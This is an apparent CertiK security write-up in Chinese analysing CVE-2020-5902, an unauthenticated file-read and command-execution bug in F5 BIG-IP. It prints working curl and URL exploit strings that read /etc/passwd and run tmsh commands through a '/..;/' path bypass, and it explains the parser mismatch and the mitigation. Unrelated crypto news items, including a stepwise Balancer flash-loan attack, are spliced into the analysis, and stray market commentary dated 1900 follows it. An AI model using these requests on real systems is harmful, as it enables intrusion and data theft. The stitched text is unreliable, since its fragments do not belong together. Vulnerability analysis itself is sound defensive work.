前言
今日一早起来推特以及各大技术论坛上炸开了锅,安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容,大部分是在分享如何寻找目标,利用漏洞,并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序,搭建环境复现漏洞后,对漏洞的起因进行了分析,并在下文分享给大家。
背景
F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。PositiveTechnologies的研究人员MikhailKlyuchnikov发现其配置工具TrafficManagementUserInterface中存在远程代码执行漏洞,CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分,攻击者可利用该漏洞创建或删除文件,关闭服务、执行任意的系统命令,最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。
受影响的BIG-IP软件版本
漏洞利用
读取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Balancer获得由三箭资本和DeFiance Capital牵头的500万美元投资:2月11日消息,DeFi项目方Balancer Labs宣布已获得由三箭资本(Three Arrows Capital)和DeFiance Capital牵头的一轮500万美元投资。两家风险投资公司现已加入Pantera Capital和Alameda Research进行投资,使Balancer的A轮融资总额达到1200万美元。(Cointelegraph)[2021/2/11 19:28:51]
远程执行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方给出的临时修复方案(后文会对修复进行分析):
漏洞复现
在F5的官网注册账号之后,可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系统)的虚拟机镜像。CertiK技术团队因为使用VmwareFusion,下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
Balancer 2.0版本将降低DeFi交易的Gas费用:金色财经报道,去中心化交易协议Balancer将发布2.0版本,该版本将被委托的所有资产放在一个大的保险库中。这将极大地降低去中心化金融(DeFi)交易的Gas费用,因为用户可以根据需要随意交易,只需要为进入和离开Balancer支付Gas费用。[2021/2/3 18:44:48]
在VmwareFusion中加载镜像(import):
加载完成之后,使用默认用户名密码登陆系统:
用户名:root
密码:default
系统初始化之后,使用”ifconfig”命令查询虚拟机IP地址。CertiK技术团队的BIG-IPTMUI虚拟机IP地址为”172.16.4.137”。
在浏览器中访问BIG-IPTMUI登陆界面:
https://172.16.4.137/tmui/login.jsp
CertiK:Balancer遭黑客攻击损失约90万人民币,其他DeFi合约需警惕:6月29日北京时间凌晨2点03分,CertiK天网系统检查到在区块10355807处Balancer DeFi合约异常。此次攻击约获利90万人民币。
安全研究员迅速介入调查,攻击重现如下:
阶段0:攻击者从dYdX闪电贷处借款,获得初始WETH资金。
阶段1:攻击者使用WETH将Balancer中的STA尽可能买空,最大程度提高STA价格。
阶段2:攻击者用获得的STA多次买回WETH。每一次都用最小量的STA(数值为1e-18)进行购买,并利用Balancer内部漏洞函数gulp(),锁定STA的数目,控制STA对WETH的价格。重复多次该种买回操作,直到将Balancer中的WETH取空。
阶段3:换一种代币,用STA重复阶段2直到取空该种代币。阶段三重复了三次,一共有4种代币受到了损失WETH,WBTC, LINK和SNX。
阶段4:偿还dYdX闪电贷,离场。
CertiK判断攻击者是有经验的黑客团队在充分准备后的一次攻击尝试,有很大可能还会继续攻击其他DeFi合约。[2020/6/30]
复现任意文件读取:
在浏览器中访问以下地址可以读取”/etc/passwd”文件内容:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
动态 | 币安稳定币BGBP已于本月初完成代码审计,由CertiK团队负责:安全公司Certik宣布完成对币安发行的稳定币BGBP的审计。审计报告结果显示,BGBP的智能合约代码遵守着最高标准(best pratice)并给出满分100的高分。据悉,CertiK测试网今年7月成功上线。CertiK旨在从系统层面解决区块链安全问题,为更多的区块链社区提供安全服务。[2019/8/9]
复现tmsh命令执行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
漏洞分析
在进入漏洞分析前,先要明确一点:漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身是可以被访问的。
下面的截图显示了登陆前和登陆后访问以下URL的区别:
Hanbitco参加EOS的Blockchain Producer竞选:韩国虚拟货币交易所Hanbitco称参加EOS的Blockchain Producer竞选。此为韩国虚拟货币交易所首次参加EOS的 Blockchain Producer竞选。[2018/5/24]
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
登陆前访问:
被跳转回登陆界面
输入账号密码登陆管理界面之后再访问,可执行fileRead.jsp读取文件。
fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件,但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制,在未授权的情况下,访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.这里可以查看演讲稿件(参考链接2)。
这里我们可以理解在F5BIG-IP的后台服务器对收到了URL请求进行了两次的解析,第一次是httpd(Apache),第二次是后一层的Java(tomcat).
在URL在第一次被Apache解析时,Apache关注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
当Apache在看见前半段是合法URL且是允许被访问的页面时,就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。
在URL在第二次被解析时,后面的Java(tomcat)会把/..;/理解为,向上返回一层路径。此时,/login.jsp/和/..;/会抵消掉。Tomcat看到的真正请求从
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
变成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再来fileRead.jsp并没有对收到的请求进行身份验证,后台因此直接执行fileRead.jsp,读取并返回了/etc/passwd文件的内容。
根据以上的思路,其实可以找出别的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
这里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样,是一个不需要登陆就能访问的页面。但是因为要向上返回两次,需要用两个/..;/来抵消掉”/login/legal.html”。
回到开头提到的官方给出的临时修复方案,修复方案的本质是在httpd的配置中添加以下规则:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
这个规则的意思是,当http服务器在监测到URL中包含..;(句号句号分号)的时候,直接返回404.这样利用漏洞的请求就没办法到达后台(第二层)了。
如何避免漏洞:
此漏洞的利用方式在网络上公开之后,因为它的攻击成本低廉,大批黑客都开始图谋利用此漏洞攻击使用F5BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权,对系统产生巨大的破坏。
俗话说:“不怕贼偷,就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上,不代表你是安全的。因为很有可能黑客的下一个目标就是你。
而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测,第一时间给客户提交漏洞预警报告,帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。
同时作为一名安全技术人员,在新漏洞被发现的时,不仅需要知道漏洞是如何被黑客利用的,更要去探寻漏洞背后的原因,方可积累经验,更加有能力在复杂的系统中发现隐藏的漏洞。
CertiK以及其技术人员,将永远把安全当做信仰,与大家一同学习并一同成长。
参考链接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
为全面贯彻落实党中央、国务院关于加快新型基础设施建设的决策部署,把握区块链技术集成应用在新的技术革新和产业变革中的重要作用和重大机遇,更好地服务经济社会数字化转型.
1900/1/1 0:00:00在我看来,金融投资中,拥有良好的心态是非常重要的。心态同时又是与技术、执行力等相辅相成的。本课课题是“心态锻炼”,但在此我并不想用大量的篇幅来说这方面的内容,寥寥一些文字足以.
1900/1/1 0:00:00昨天到今天的9点,比特币24小时净流入4473.77万美元,其中主力净流入1.4亿美元,散户净流入-9515.23万美元.
1900/1/1 0:00:00:昨天持币者的文章的标题是《8月7日比特币行情分析犹记得前几天暴跌在眼前》,持币者在里面也是讲解了一下多空的风险。昨天比特币虽然未形成瀑布行情,但是也收取了一根上下波动达到150点左右的阴线.
1900/1/1 0:00:00市场要闻今天除了端午,没有市场要闻。要闻解读在行情分析里面穿插着。送大家一句诗吧:“亦余心之所善兮,虽九死其犹未悔。怨灵修之浩荡兮,终不察夫民心.
1900/1/1 0:00:00易天说昨日以太坊开盘在238.82一线,最高抵达243.77一线,最低抵达234.44一线,收盘于238.84一线,涨幅达到:0.01%(0.02),振幅达到:3.91%.
1900/1/1 0:00:00